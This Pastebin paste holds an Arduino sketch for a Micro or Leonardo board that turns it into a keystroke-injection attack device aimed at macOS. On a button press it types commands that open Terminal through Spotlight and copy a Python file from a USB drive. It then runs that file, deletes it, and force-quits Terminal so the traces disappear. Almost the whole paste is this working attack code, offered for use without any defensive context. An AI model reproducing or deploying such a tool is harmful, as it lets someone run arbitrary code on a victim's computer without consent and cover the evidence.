Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // CREATED DEVELOPED TESTED AND EVERYTHING ELSE BY GRINNINGVEIL72
- // Make the circuit on an Arduino Micro or Leonardo
- // 5V ---- Switch ---- ------Resistor-------GND
- // |
- // Pin 2
- int stopper; //Make a variable that we will use later
- String file = ("lol"); //Name of the Python File
- String usb = ("USB"); // Name of your USB drive
- void setup() {
- Keyboard.begin(); //begin the keyboard reader
- pinMode(2, INPUT); // Make our switch an input
- }
- void loop() {
- stopper = digitalRead(2); //Our variable is set to the input from our switch
- if (stopper == HIGH){ // If we press the switch...
- delay(250);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press(0x20); //Command + Spacebar to open spotlight
- Keyboard.releaseAll();
- delay(250);
- Keyboard.print("Terminal"); //Type Terminal
- delay(200);
- Keyboard.press(KEY_RETURN); // Press Enter to open Terminal
- Keyboard.releaseAll();
- delay(250);
- Keyboard.press(KEY_TAB);
- Keyboard.releaseAll();
- Keyboard.press(KEY_RETURN); //Tab and return just in case it asks to open an old terminal session
- Keyboard.releaseAll();
- delay(3000);
- Keyboard.print("cp /Volumes/");
- Keyboard.print(usb);
- Keyboard.print("/");
- Keyboard.print(file);
- Keyboard.print(".py Desktop/"); //Copy the python file from the usb to Desktop
- Keyboard.press(KEY_RETURN);
- Keyboard.releaseAll();
- delay(500);
- Keyboard.print("cd Desktop"); //Go to the Desktop again where the python file is saved
- Keyboard.press(KEY_RETURN);
- Keyboard.releaseAll();
- Keyboard.print("python ");
- Keyboard.print(file);
- Keyboard.print(".py && rm ");
- Keyboard.print(file);
- Keyboard.print(".py && cd .."); //run and then delete the python file then move up a directory
- Keyboard.press(KEY_RETURN);
- Keyboard.releaseAll();
- delay(3000);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press(KEY_LEFT_ALT); //Command Alt Escape to open up force quit menu
- Keyboard.press(KEY_ESC);
- Keyboard.releaseAll();
- delay(100);
- Keyboard.press('T');
- Keyboard.release('T'); //T for terminal
- delay(100);
- Keyboard.press(0xB0);
- Keyboard.releaseAll();
- delay(150);
- Keyboard.press(KEY_TAB); //Tab and return to close terminal
- Keyboard.releaseAll();
- Keyboard.press(KEY_RETURN);
- Keyboard.releaseAll();
- Keyboard.press(KEY_ESC); // Close the force quit menu
- Keyboard.releaseAll();
- delay(5000); // Five second delay to give you time to unplug before the script starts again
- }
- else{
- delay(1); //If we don't press the switch then wait until we do
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement